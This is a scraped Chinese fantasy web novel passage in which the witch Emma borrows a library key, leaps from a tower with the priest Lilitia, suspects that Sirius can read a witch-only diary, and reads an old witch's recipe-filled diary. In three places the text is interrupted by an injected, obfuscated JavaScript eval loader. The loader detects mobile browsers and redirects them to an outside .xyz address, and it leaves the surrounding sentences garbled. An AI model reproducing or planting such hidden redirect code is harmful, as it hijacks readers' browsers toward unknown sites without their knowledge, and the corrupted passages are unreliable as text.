艾玛翻转钥匙,夕光在黄铜表面闪耀,使其明亮得近乎融化,半透明的蓝色魔法石却在这橙色的光里暗淡,匙柄上刻着古数字“Ⅰ”。 “这是你的钥匙。”艾玛指尖压过匙柄上雕刻的凹槽,“借给我,你就用不了了。” “我不急着用。最近公务太多,短时间内没什么借书的工夫。等空下来,我再去魔法装置研究部补办一把就好。” “只要出示这把钥匙,谁都可以使用相应的权限?” 利利提亚看了她一眼,笑:“谁都可以。” 艾玛点点头,把钥匙收拢进手心:“好。谢谢。” “今天被您感谢得太多,我都觉得有些难以承受了。” “你看起来不像会因为‘女巫’这个身份感到压力。” “您是觉得我不够恭敬?”利利提亚的脸上显出一点反省,“如果您感到不快,我会调整自己的言行。” “敬语很标准,礼仪上也没什么值得挑剔。但是‘感觉’不一样。这里所有知道我是女巫的人,都认为我是‘不同的存在’,在他们之上。 “而你的眼神告诉我——你认为我们是相同的。” 艾玛看向他,目光和声音一样静静的,像没有波澜的水流,“我不讨厌这种平视的感觉。或者说,这样更好,我觉得很放松。” 利利提亚若有所思:“听起来我狂妄不敬而且极度僭越。” “你有什么要辩解的吗?” “嗯,让我想想……什么样的借口更好呢?” 他的话音上扬,跳跃过几个停顿的空白,在走廊安静的傍晚里沉降,变成平铺直叙的讲述: “我原本的姓氏是‘尤利乌斯’。一个因战争而富有,因战争而显赫的姓氏。 “罗穆卢斯最早是个王国,版图远没有现在辽阔,战争壮大了它。无数武将的家族因此兴盛,尤利乌斯是其中的佼佼者。 “罗穆卢斯与赫克米洛斯相近,大多人信仰日神,传说日神能为战士带来勇气、信心和胜利,月神的信仰在国内的盛行仅次之。 “我父亲信仰日神,而母亲信仰月神。您大可以想象——在那样的家族,十二岁之前我所必须选择的信仰,实际不过是没有余地的二选一。 “但那时候,我对信仰也没什么所谓。和很多人一样,我并不相信世上真有神明。 “如果神明当真存在,愿望皆有回响,很多事都该是另一幅光景。 “直到十三岁的一天,我误闯了一座荒野上的教堂。 “那里因为战乱和聚落迁移而被废弃,只有野兽和游魂会造访。教堂墙垣坍圮,屋顶有个巨大的空洞,能遮蔽人的空间少得可怜。 “但那是个晴朗的夜晚,落进空洞里的只有月光。 “我看见,祭台上供奉着一座没有头颅的神像。” “我从那个瞬间开始相信神明。” “很难形容那时我所感到的震动。我到过罗穆卢斯的许多教堂,教堂里的神像都是一副人身,神色喜怒哀乐皆具。人因为试图理解神而将其人格化,因为自身有所欲求而期待祂慈悲爱人。 “我不认为祂爱任何人,祂只是存在。 “——何等的慈悲啊。” 利利提亚的叹息像摇晃的波浪,水面之上,艾玛看见他的眼睛亮起来,灼灼如火光。 70.坠落 “我现在相信你是个信徒了。”艾玛说。 利利提亚笑着按下眉毛:“原来您之前不信吗?” “我不觉得你像是会信仰神的人,但你刚才说的是真话。”艾玛垂下眼,想了想,“抱歉,我不太能理解‘信仰’这种感情,所以不是很明白你的想法。” “即使同为信徒,对信仰的理解也会不一样,您没什么好道歉。”利利提亚思考了一会儿,“我相信神以另外一种形式存在,不具有世俗意义上的情感和人格。‘祂们’不干涉生者的抉择,不在乎时代的更迭,‘但信祂们的,能分享祂们的辉光’。 “神殿有传说,神明只会现身在女巫面前,甚至可以降临在女巫身上,但祂们不会跟女巫以外的人对话。而现在,您正在和我交谈。” 艾玛盯了他片刻,点头:“我明白了。” 她移过目光,望着前方的走廊,闲话的语气道:“你说到‘降临’。我想起第一次听说‘神殿’的时候,还以为是民间传闻里那类用活祭的宗教组织,那些事例小时候总被大人们当鬼故事讲。有人祭献幼童,宰杀羔羊,或向神明祈求力量,或向恶魔交换契约。” “文明越稀薄的地方越有那种野蛮原始的认知。您提到这个,难道是担心——神殿对您有类似的不轨图谋?” “不,只是突然想到,有点怀念过去的一些事情。”艾玛说,“我比你们更清楚什么是‘降临’。” “啊,是我僭越。”利利提亚低了低眼,“您当然大可不必忧虑神殿会做那种没见识的蠢事。这里的一切法令规章、传说历史中都写得足够清楚:绝对不要逼迫一位女巫,没有人可以承受女巫的怒火。” “听起来像睡前故事里用于警示孩子的恶龙。”艾玛回忆起很早看过的绘本,“恶龙被贪婪的人类盗走了巢里的黄金珠宝,愤怒地吐出火焰烧平了整座山头。故事的总结是:不要偷东西。” “真是很有意义的故事啊。” 利利提亚看了看夕阳的方位:“时间过得真快,差不多是晚餐点了。您之后还有没有计划?” “今天看的聊的东西已经够多了,我想回去休息,消化一下新信息,或许再看看书。” “确实,您也劳累了,用过晚餐之后,我送您回房间吧。” “也辛苦你向我介绍那么多。今天没有看到谁来找你,神谕祭司那边的工作没问题吗?” “我特意让他们不要来打扰。请放心,工作那边,有可靠的帮手帮我顶着呢。” 艾玛分辨了一下话里的含义:“听起来像翘班。” “哎呀,适当给自己休息放假可是另一种角度的对工作负责。但可惜,我努力调出的临时假期截止到餐后,今晚回去还要接着加班。”利利提亚故作伤感地摸了摸没有泪水的眼角。 艾玛平淡地同情道:“辛苦了。” “听到您的安慰,感觉心情好一点了。”利利提亚很快抬起一张笑脸,又思忖了片刻,“我本想今天带您去巡防营走走,但那边最近多有变动,或许过阵子会稳定些。您要是有兴趣,最好事前跟那边打个招呼。” 艾玛对神殿的巡防营布置并不关心。她在费拉约尔斯时和城防军进行交涉管理是作为领主的职责,但她在此地目前尚且是客人身份,干涉太多他人的内部管理不妥当,更仿佛是种多余的暗示。 艾玛暂且没有明确的长期停留意向,不想给出过多带有这类含义的信号,因此只模糊应了一句,带过这话题。 利利提亚环顾了一下周围:“从这里去食堂,再到主殿您的房间——从连廊绕路过去有点远。要走捷径吗?” “捷径?” 利利提亚走了两步,一转身,手按在走廊的石栏上。 这段路已经和之前不同,周围的石砖砌满了穹顶,延伸到天空,四下的视线都被遮蔽,只有一扇扇巨大的窗型空洞嵌在砖墙里。 像火焰一样热烈,却又如水一般稀薄的夕光从那可以呼吸的空窗里倒进来,从他银色的长发上滴落,浮在灰色的石砖上,安静地烧灼。 利利提亚指了指窗外,说:“我们可以从这里跳下去,换一条路。那样会更近。” 艾玛看了一眼窗外,没能捕捉到楼下巨树的树梢。 她陈述:“这里是五楼。” “为了节省移动时间,我经常这么做。当然,这有点冒险,不合规矩,得挑没人看见的时候。只要用法术控制好抵消下坠冲击力的时机,就能平稳落地。三十米左右的高度,我有把握。” 利利提亚向她伸出手:“——要试试看吗?” 艾玛看着他的眼睛,停顿了两秒,把手指放进他掌心:“好。” 利利提亚微笑起来,一拢手,牵引着艾玛移动了站位,向她倾过身:“那么,失礼了。” 艾玛感到身体一轻,被横抱了起来。 经过短暂的思忖,她双手环在身前,抱紧了怀里的书。 利利提亚的动作看起来很轻巧,并不费力地踩上窗台,像只是踏上一级台阶。 他在窗沿停留了半秒,像平常的走路那样向前迈步—— 剧烈的风声刮过耳畔,血液逆流上额顶,收紧心脏。 失重感中,时间的流逝都变得缓慢。 艾玛看着利利提亚的表情,利利提亚这时并没有看她。 他专注在脚下地面的距离估计,气流拂过他们脸庞,向上卷起长发。 利利提亚的眼睛很亮,嘴唇张开一线,上扬着唇角。 艾玛难以说清在那短暂的数秒下坠中从他身上看到的东西。明亮、尖锐而滚烫,刺破皮囊漏出来,转瞬即逝地融化在夕阳的风声里。 利利提亚带着她轻飘飘地落到了地上。气流拂开了旁边的树叶,落地的脚步声却沉闷地被大地吞没了,没有反射出任何引人注目的回声。 利利提亚将艾玛放到地上,没有失重过后的摇晃,艾玛平稳地站定,将被风吹乱的发丝梳理到耳后。 “控制得很精妙。”艾玛评价。 利利提亚打量她:“您很冷静,完全没有感到紧张。因为相信我能做好吗?” “不,”艾玛回望道,“我相信的是有无数种方式保证我能安然无恙的自己。” 对视沉默了两秒,利利提亚点头:“‘自信’是一位强大魔法师所必须的素质。我喜欢您的冷静。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16266571|175926||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 说完,利利提亚似乎颇有些期待,问:“您觉得感受如何?” 艾玛客观、冷静而综合地评价:“很节省时间,但有相当的风险。很多魔法师需要通过特定语言吟唱施法,是因为必须借助这种方式集中注意力。 “施法的吟唱和集中都需要时间,而从楼上跳下来到落地之前的时间过短,并且在空中有失重感,容易让人产生紧张,更可能造成法术失败。 “专长于飞行的魔法师另当别论,但你这种借助基础法术影响气流来抵消冲力的方法,要求足够熟练且稳定的魔法控制技巧,以及出色的身体平衡感。 “绝大多数人无法效仿,只会带来糟糕的意外,可以理解这是违规行为。如果你指的是趣味性,这种行径的风险和过程里会带给人的恐惧确实很刺激。 “抱歉,这个问题可能有点失礼,我听说神谕祭司会参与立法、协助司法并执行法律,从高层建筑上跳下来,在你们这边是否属于要被抓捕的违规行径?” “诶,跳下来了才想起要问吗?” “刚才忘了。” 利利提亚似乎认真地回想,一边走一边说:“我确实有过被告上审判庭的经历,那是在成为神谕祭司之前了,因为各种各样的事由……倒是很新奇的经历。不过,全部都是无罪判决,我的履历很清白。您这是感慨‘运气真好’的眼神吗?” “诚实地说,很难不有这样的印象。或者,因为有知道该钻哪里的空子且不会被抓的聪明。” “听起来印象不错,令人高兴。只要不是在大庭广众下毫无原因地从高处跳下来就没问题,比如抓捕逃犯、有危急情况——虽然不能是‘没什么事但想节省时间’这样的理由,会被认为是给还没懂事的孩子们做反面教育。” “还好这里没有其他观众。说到这个,今天过来的时候看到了很多没什么人的路段,还有这边这种安静的角落。从治安角度来说,是不是有点隐患?” “神殿的‘监察部’有专人监控地界上的异动,结合预言来防止危险情况。嘛,不过刚才那种小动静他们不至于在意。巡逻的守卫也会每隔一段时间来看看。” 艾玛想起什么,顺口道:“你之前试过带别人从楼上跳下来吗?” “我邀请过克蕾娜。她说,‘想死有很多种方法,如果嫌命太长活腻了我给你个痛快’——差不多是这样的回答。”利利提亚回忆道。 “果然带人一起的风险很高。” “是啊,双倍的死亡威胁,风险很高呢。” 傍晚的风褪去温热,开始发冷。 春天的衣料轻薄,身体可以隔着衣料感受到空气流动的线条,也可以感触到他人的体温。 艾玛想,利利提亚的手很冷。 甚至隔着衣袍,手臂贴到他胸腹时,那温度仿佛他打开胸腔,也只会有将凝未凝的血块点缀着。 他抱着艾玛时动作很稳,利利提亚显然体能不差,擅长运动的人,体温更不会低才对。 春天的风还太冷,衣服穿少了?应该也不至于。 艾玛点到即止地思考了片刻,最终觉得这是生物多样性的一种:也有这样的人啊。 71.不解 利利提亚将艾玛送到“女巫的房间”门口就告了辞,回头去加班了。 房门口的女佣向艾玛鞠躬,郑重地递给她房间的钥匙。 女佣因为紧张而声音很低,艾玛只从那一串嗫嚅般的声音里听出“房间钥匙”的单词。她没有多问,点头示意理解了。 女佣也松了口气,多鞠了个躬才远远地退开。 艾玛听到逐渐消失的脚步声和远处很轻的女孩们的交谈声,那声音最终消失在走廊尽头。 艾玛搭上门把手,才意识到房门并没有上锁,一拉就开了。 她看见房间里熟悉的、暗红色的长发,披落在背脊上,像一羽收翅敛尾在此栖息的鸟。 那突如其来的情绪攫住她的心脏,让艾玛感到心跳不受控地错了一拍。 房间里有一整面墙的落地窗,窗外是阿瓦托芬夜晚的灯火,窗对面有一张长椅,铺着柔软的织毯,摆设有靠垫,西里斯正坐在其中看书,听到声响,向艾玛回过头来。 “欢迎回来。”他说,“今天逛得怎么样?” 艾玛愣了两三秒,才关上门,走进房间,把手里的书放在附近的茶几上:“还不错。” 西里斯于是开始解释自己这边的情况:“我在医疗部待了一下午,在晚餐时间之前找借口走了。但我没有身份证明,行动不方便,克蕾娜小姐帮我送到了这附近。 “我本来想在房间门口等你,但侍女说我可以进来等,大概误会了我们的关系。” 西里斯的口吻淡淡的。 艾玛说:“你不介意?” “如果你介意,我可以想办法解释。一个个澄清谣言,效率太低了。” “没关系,这样就好。”艾玛的目光落到他手上,“哪里借来的书吗?” “从这房间的书架上拿的。”西里斯合上书,起身,指了指附近的书架,又示意了左右墙上镶着的门,“还有,这边,连通着旁边的房间,连了一整层。我瞧了一眼,有浴室,书房,音乐室,会客室等,你之后可以自己看看。” 艾玛这才把注意力放到打量这冠了“女巫”所有称谓的房间上。 空间很大,足够宽敞,有一张看起来能睡五个人的床,铺着应季的丝被,纱帐束在一旁。 此外还有床头柜、衣柜、衣架、茶几、沙发椅、书架、书桌,有的桌柜上有花瓶和雕塑的装饰,石砖地上铺着厚毯。 东西齐全,却不算太多,透着留给新入住的主人按自己喜好重新布置的简约。 “很舒适的房间,不过,看起来没什么太特别的地方。”艾玛环顾完一圈,如此评价。 “大概是地理位置特殊。主殿在神殿中心,保护最严密的地带,通路很多,要去其他地方会更便利。再要说有什么特别的,” 西里斯回过身,看向那面落地窗,“玻璃是单向的,房间在十层,从这里能看见阿瓦托芬的灯光,风景不错。” 艾玛望向窗外,漆黑夜色里,一点点橘红暖黄或炽白的光星星点点地洒落在这座夜晚的城市,像天空的倒影,比倒影更厚重。 往任意一点灯光里细望,能看见错落的人影,仿佛听见遥远的笑语歌声。 “嗯,风景不错。”艾玛收回目光,又落到西里斯身上,“你今天没有跟我继续逛,是心情不好吗?” “我对神殿没多大兴趣。再就像当时说的,我没有了解这里的必要,你满意就够了。” 西里斯说,“我答应了克蕾娜小姐,之后几天都在医疗部帮忙。住处还在东楼那边,就是之前那间客房,离这边不远。你需要的时候可以来找我。 “你想怎么安排时间都可以,想在这里住个一年十年也没问题,不用顾及我。” 艾玛沉默了一会儿,问:“你的……那些声音,还会不会让你头痛?你说过,在我身边不太听得到。” “在遇见你之前,我一直是这么过来的。我能够应付。” “那……如果有什么需要我帮忙的,请告诉我。” 西里斯看了她一眼,移开目光,走到茶几边,手指按在艾玛带进房间的书上:“从神殿的藏书室借的书吗?” 艾玛回过神,点头。 “‘信仰论’和……‘日记’。”西里斯眯了眯眼辨认,指尖划过封皮,在日记本的右下角边缘停留了片刻,“看起来很古早的手稿集,装订很有年代了。” “西里斯,”艾玛叫他,不知为什么突然心中一动,准备好的问题却已经讲了出来,“你了不了解‘艾佩庇里亚’?” 声音空白了大约两三秒,西里斯从书封上抽回手,望向她:“还算了解。” “我听说,那个国家曾经凝聚了大陆上最顶尖的魔法技术,许多技术至今无法重现。我有点好奇。如果能了解更多,对我的魔法突破或许有所帮助。” “那里有很多这样的东西,如果你有兴趣,多了解一点是好事。但有些技术即使复现出来也跟不上时代,有的是特殊条件下才能实现的狂想,别在这些东西上钻牛角尖就行。” 艾玛从袖口里抽出那把黄铜钥匙,递到西里斯面前,房间里的月光从匙柄流进尾部的蓝色石块,光线在石块中尖锐地转折。 “这个给你。我最近想在这边四处走走,刚借来的书也还没来得及读。如果你需要其他方式打发时间,可以去神殿主殿的藏书室看看。 “那里一共有三层房间,只要带着这柄钥匙,就可以任意出入借阅。不过……第三层的藏品都是机密,如果你要进去,最好叫我陪你一起。如果我需要借其他书,我会再来问你拿钥匙的。” “好。”西里斯接过钥匙,看了一眼就抬起目光,“既然第三层是‘机密’,我不会去看。随意探究主人家的隐私不是一个过路宾客应尽的礼仪。” 艾玛说:“那我该跟你一样是客人。” “你不一样。你也明白。”西里斯陈述道,“我虽然不信仰神明,但仍然尊敬祂们的存在。在神的地界上,我会遵守祂们的规矩。” 艾玛安静了片刻,玩笑般说:“你在这里等我,是为了跟我说晚安吗?” “我想告诉你我之后的安排,当面说更好。当然,你需要的话,我会向你说晚安。” “你去藏书室的时候,可以帮我找点跟艾佩庇里亚有关的书吗?我相信你的推荐。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16280766|175926||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “好。下次我会带给你的。” 仿佛话正好在此刻说尽,又仿佛为了免于最后一道声音的枯竭,西里斯收起钥匙,踩着上一句话的尾声说:“晚安。” “嗯。”艾玛说,“晚安,西里斯。” 房门关上了。艾玛站在桌边,手指抚过书上西里斯刚刚碰过的位置,没有残留的温度。她慢慢叹了口气。 难以形容。仿佛冰冷的水逆着血管涌上心脏,压着心脏沉进乱流。 艾玛甚至感到有些呼吸困难。但为什么呢? 最开始意识到这份心情是恋慕的时候,只是单纯地感到高兴,为自己那些异样的困惑和情绪找到名目解释而感到轻松。 因为“喜欢”如此平凡而常见,在身边的朋友身上如同定点报时那样应季到来,也这样自然地发生在自己身上。 这证明了她的正常。艾玛为这种普通而释然。 但喜欢是会变化的。艾玛在书上看到,有人认为“爱情”是一种身体分泌物造成的影响,所以和其他分泌物一样会代谢流失。 尽管有人抨击这种反浪漫的论调,但艾玛看见莫妮卡渐渐从失恋中走出来了,她相信这确实是种会变化的感情。 就像花会应季盛开,过季后凋零。 艾玛珍惜它开放时的美丽,也可以接受它有一日衰败。 即使没有回应也没关系,因为嘉兰也不在乎。这证明喜欢可以是一种仅抱有就足够的心情。 艾玛认为自己也做得到。 ……她本来这样相信。 如果原本的关系持续,平衡继续稳固,她或许可以保持对那种状况的满意。但变化到底是不可避免地发生了。 她了解西里斯的性格,这疏远并不是因为生气和厌恶……真的不是吗? 艾玛听到心里有个声音如此诘问。她因为这细小的声音打了个冷战。 艾玛的感情变化向来简单,就像白纸上一划一目了然的线。但那些无法辨识的情绪变量开始不断堆叠增长,使那根线条在无数不明色块中扭曲迂回,整个画面都变得晦涩难懂。 心跳的频率变得难受。艾玛感到难以理解的困惑。 掌握魔法对艾玛来说很简单,艾玛从未想过会有一日为此焦灼。 提高法术似乎是她目前唯一去解决问题的有效方法,但这真的是正确的方式吗? 其实本来还想问西里斯其他事,有关艾佩庇里亚,她想他一定知道更多。 但不知道为什么,没能问出口。 艾玛没有思考出个所以然,心烦意乱地收起桌上的书,目光落在封面上,却突然凝固了。 仿佛察觉到某种预感,不明情绪中的一道脉络,找到打结线堆中的一个线头,胸口那种不舒服的情绪突然膨胀,茫然地裂开一个明晰的口子。 利利提亚说,只有女巫能看到那本日记上的字。在他看来,那本日记的封面上什么都没有。 艾玛并没有告诉过西里斯,她借来的是一本日记。 西里斯是……对着书封面上古旧的文字,明确地读出了“日记”这个单词。 为什么他看得见? 72.日记 “致看到这封信的女巫, 你好,先做个自我介绍。 我叫奥辛莱特,第三位留在月神神殿的女巫。 决定留下这本日记是我的一时兴起。 整理五年前的书稿时,发现又有部分纸张已经被腐蚀,造纸石的制品如何改良和普及仍然是个难题。 正常情况下,这本日记中不同材质的用纸会在三到十五年内变脆,墨水洇开或消失,它们能保存到此刻是魔法的作用,我为自己的私心而作的小小‘奇迹’。 但愿在你看到这封信的时代,这样的小事已不必被称为奇迹。 我曾经觉得,万物有生有死,新的痕迹总会覆盖旧的,我不必执念留下点什么。 我一直有写日记的习惯,年轻时是为了整理回顾,记录事情不被遗忘,现在却被我拿来怀念过去了。我也到了开始遗忘越来越多事情的年纪。 回头翻阅时,觉得这些记录里有许多有意思的地方。 我大概还是希望有其他人能看见那些东西,我想把这些部分保留下来。 这本日记最初不是为了向任何人展示而书写,所以格式杂乱。我经常在不同的纸张上书写记录,现在要从这一堆纸稿里进行整理和选择保留,最终完成装订。 删减掉的部分里有些朋友间的八卦轶事,我仍然觉得其中很有精妙的部分,但这些东西要是流传到几百年后对他们未免有些残忍。我和他们互相谅解了。 如果我的法术失效,或你是个出色的破译者,不请自来的客人,我不介意你在这座无主的空屋停留。但我不承诺你能从中有所获得。 如果你试图毁坏这份遗物,受损害的愤怒会诅咒你。 如果你确实是女巫,我也要先提醒你,一些真正重要的秘密,我们从不留记录。 你知道从哪里寻找答案,除非你仍有疑虑。 这是我们每个人所必经的路,我祝福你。 你未必会觉得这是有意思的故事。但如果你决定翻开,请随意看看我这一生吧。 想到或许百年千年之后,仍然有这样的方式让我们沟通与相遇,这多浪漫。 我为此忐忑而期待。 很高兴认识你,我未曾谋面的同胞,我的朋友。 奥辛莱特 光明历286.11. 补充, 写到这里时,通用文字仍然还在改良,已经是我无法计数的不知道第多少个版本。就算对文字工作有兴趣,反复到这个程度也是种折磨。 希望这版文字终于接近完成,如果能让你没有太多阅读障碍地看完这段话,我会很高兴。 如果读起来太累,还是借助翻译法术吧。” 女巫的日记本扉页里写着这么一封信。纸张和后面紧跟着的那几页相比,更新也更光滑,虽然仍旧远不及现在的石纹纸。 奥辛莱特用魔法对它们进行过修整和保留,当年时间的一角仿佛确实停在了这本纸稿集里。 艾玛花费比往常更多的时间对这封信进行了阅读,因为没有借助翻译法术,而是努力地半读半猜着那些和现今版本已有出入的文字含义,猜不出来的时候再借助法术揭晓答案。 虽然奥辛莱特给了不必勉强的提醒,但这种猜字游戏里能看到一些造字思路,艾玛有些好奇。 她往后翻阅,日期最早的那些日记,使用的是不知名地区的语言文字,应该是奥辛莱特的母语。 在奥辛莱特刚刚来到阿瓦托芬的时代,通用语显然还没有得到足够的普及。 艾玛昨晚大致浏览了相连房间的布局,浴室书房等都有日常打理的痕迹,除了与卧房相连的门,还有通向外部走廊可以普通开关上锁的正门。 卧房衣柜里从睡衣到礼服排着一列,艾玛试了试,尺码正好,不知道是不是前两天去纺织部时留了尺寸数据的缘故。 书架上的书看着是新添的,没有历史久远需要在藏书室保养的典籍,更没有什么机密文书。 书目看着有经过考虑,像是阿瓦托芬当地的神话集,年份有新有旧,版本众多。还有植物图鉴、料理菜谱、戏剧小说等等。 西里斯昨天翻了本神话集和童话寓言书,艾玛没什么意外,西里斯向来什么书都看,种类不挑。 她把西里斯看过的那两本也读了一遍,还回了书架。 她清晨醒得迟一些,坐在床上读完了奥辛莱特日记扉页上的第一篇信,敲门声才不早不晚地在九点整扣了三下。 艾玛看一眼墙面的时间,勾勾手指远远开了门上的锁。 房门没有声音地推开,像飘进门的是一缕凝固的风,没有重量地压上地毯。 推开门的是荷尔贝拉。 来到神殿的第一天同行过一段,艾玛对她很有印象。 由于嘉兰的影响,艾玛对女骑士总觉得亲切些。荷尔贝拉给她的某些感觉恰好吻合艾玛对骑士的期待,艾玛直觉性地对这个人有些好感。 “贵安,女巫殿下。”荷尔贝拉向艾玛行了一礼,弯腰时刘海垂下来,“利利提亚大人指派我来当您的护卫,已经得到了议会的许可。我会保障您的安全,如果在衣食住行等任何方面上有不便之处,请告知我,我会替您处理。” “好的,我了解了。” 荷尔贝拉直起身,仍然盯着地面。 她对他人的注视敏感,知道艾玛仍然看着她。在这注视中沉默了几秒,荷尔贝拉开口补充:“我擅长传递消息的魔法,可以将文书、口信等信息用法术传递到指定的任意位置。 “神殿并不怀疑您的能力,只是万一有什么特殊情况,我的传信能力可以及时收递消息。如果……您觉得我跟得太紧不自在,我会适当保持距离,只确保在您需要我的时候出现。” 她顿了顿,抬起眼,碰上艾玛的目光,又不动声色地将视线移开两厘:“您看起来还在私人时间,打扰您了,需要我先出去吗?” 艾玛想她指的是自己仍然穿着睡衣的事。 这套连衣睡裙很长,干净朴素,只是随意了点,不是出门见人的打扮。 艾玛对此并不在意:“没关系。你不是来催我出门去干什么的吗?” “利利提亚大人说,您刚到神殿,旅途劳顿,又碰到这么多陌生事物,应该要有时间休息调整,不必过于急切。等您休整好了,随时欢迎您按自己的节奏了解这里。 “您如果想出门,我会为您带路;如果您想休息,我可以为您带餐食回来。” “真体贴。替我谢谢他。”艾玛翻了页日记,“我想看会儿书,今天没有出门的计划。你等在这里会无聊吧?可以去忙其他事。” “陪同您是我的工作。只要您不介意,我就待在这里。” 艾玛指了指房间的书架:“那里有很多书,你要是有兴趣也可以挑一本看看。” 荷尔贝拉垂下眼,站在原地没有动作:“感谢您的好意。” 话已经说到,艾玛继续阅读起了手上的日记。 “光明历271.9.12. 阿瓦托芬真是个奇妙的地方。 听说只有和海洋相近的国度才会有森林,但这里的植被很茂盛。 有从来没见过的树,树叶有五个角,这个季节开始变红了(配了手绘图片,彩笔着色)当地人说这种树叫五角槭。 (一堆各种各样的树叶绘图,有的旁边配字注明了树名和特性,有的空白。 右下角斜着写着一行‘没来得及问和当地人也不知道的,之后再查查’) 被热情的居民送了很多点心,干脆拿来当晚饭了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16291323|175926||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有个豆糕很好吃(配图,小字:下次去问问配方) (后补了一列豆糕配方,日期9.17.) 271.9.16. (评价了一些在阿瓦托芬新认识的朋友。 某某人太做作了,说话让人不舒服;某某人好烦人;某某人会绣很漂亮的图案,好厉害; 某某人好安静,不知道在想什么,倒是不讨厌;某某是个很体贴的好人。) (艾玛想:奥辛莱特当时评价人的口吻还挺刻薄的,不愧是年轻的时候。) 271.9.20-26 (连着写了十几份各色菜谱) 271.9.29. 流经阿瓦托芬的主河叫做塞利河。美丽的名字。 好像碰上什么节日,有人在河上放灯。 他们在灯上写了一些对已故亲人的思念,据说河神能把这些信送到逝者手里。 我跟着河灯走了一路,最后浪头把它们吞掉,沉进了水里。 弗里达说河灯的纸墨蜡烛都是水溶性的,不会造成污染。 那种蜡烛在水里也能燃烧吗?我看见它们在水里仍然发着光,直到沉到看不见的地方。 要是真有能把心情传达给逝者的方法,我也想知道啊。 (涂改的痕迹) (一行用完全不同语言写的句子,法术翻出来的大意为:愿逝者安息。) 271.10.01 有点想念(划掉的痕迹)了。 那里不是什么好地方,没有树,没有河,没有魔法,没有这么丰富的食物。 我下了如此决心离开那里,最终还是会怀念它,真好笑。 (涂改的痕迹) 271.10.02 回想起来,到阿瓦托芬一个月了都没做什么事,好像一直在旅游一样吃吃喝喝。 虽然那些东西是很新奇,但也不能被它们牵走了全部的注意力。玩物丧志。 听说神殿有很多藏书,明天去问问吧。 271.10.03 柿子去皮捣碎 拌面粉+核桃+花生+芝麻 (小字:)可以看喜好加蜂蜜 为什么他们都没说材料的具体分量,凭感觉好难做 注意火候不要太大 第一次做放料太多太甜了,火太大焦了。不过贝特做的那份很好吃。 因为到了柿子成熟的季节,做柿饼的人好多。 好吃。 最近多做几次。” 艾玛没吃早饭,但不怎么饿,身体残余的疲倦让她犯懒,没有挪动的打算。 但她也没想到,奥辛莱特的日记前十五页有十页不是在写菜谱就是在讲吃的。 她慢慢向椅背上一靠,看着天花板发了会儿呆,突然说:“这个季节有柿子饼吗?” 房间里只有两个人,这话显然在问她。 因为太突然,荷尔贝拉惊了一下,僵硬地转了下脑子:“呃,柿子饼,应该,现在没有,要等到秋天的时候。” “哦,也是。”艾玛点点头,回身又看向那页配方表,“知道得太早了啊。” “您饿了吗?”荷尔贝拉将这句话解读成了饥饿的信号。 “还好……”艾玛接着往下翻,看到一张全新的薯饼配方,附带奥辛莱特的烤红薯经验谈。 她长叹一口气,合上了日记。 艾玛抵着下巴看了会儿窗外。 天气明媚,阳光晴朗,风和日丽。 奥辛莱特日记里那些带配图的食物报菜名一样从艾玛脑海里缓缓流过,她沉思了半晌。 在荷尔贝拉仍然犹豫于是否再问艾玛点什么的时候,艾玛望向她,说:“我们去城里走走吧。” 73.伪姓 “阿瓦托芬”是这整座城市的名字,月神神殿在城市的正中。 神殿之外,阿瓦托芬又被分为内城和外城。 流离来到此处的客人,通过神殿的审核后可以在外城暂住。如果有在阿瓦托芬久居的意向,在外城居住一定时间后还要再次进行评估审核,通过才能住进内城,拥有阿瓦托芬的公民资格。 在外城居住期间,暂住者同样需要遵守阿瓦托芬的规章法令,如有违法行为者,视情节轻重酌情依法量刑或驱逐出境。 暂住时间三年为期,有合理事由者可以申请延长,但一般不超过三次。 超过暂住时间后,如果仍然没有通过居住内城的申请,神殿会提醒暂住者离境,超过三次提醒则强制执行。 暂住时间内,如果客人自行决定提前离境,神殿亦不会拦阻。 进入内城主要审核的是申请者的信仰情况、出身地域、来此的目的和长期打算。 神殿虽然允许非信徒入境,但也要衡量对方对信仰的看法。也有信仰其他神明却来寻求月神庇护的情况,但起码需要对月神有足够的尊重,这点是必须的。 来到阿瓦托芬的访客多是因为国家斗争、天灾人祸等因素流离失所,神殿愿意接纳无家可归的平民。 但如果对方在他国有违法行为、受到通缉,或是与他国政治有过多相干的人物,政治立场中立的神殿并不欢迎那种麻烦。 想要在此定居、踏实工作生活的申请者,神殿是很欢迎的,满足前两条的情况下,进入内城的申请基本会通过。 阿瓦托芬与外界处于半隔绝状态,除了神殿认证的商队、有外交任务的祭司,居民不得随意离开城市地界,离开的人视为放弃公民身份,终生不可再次获得。 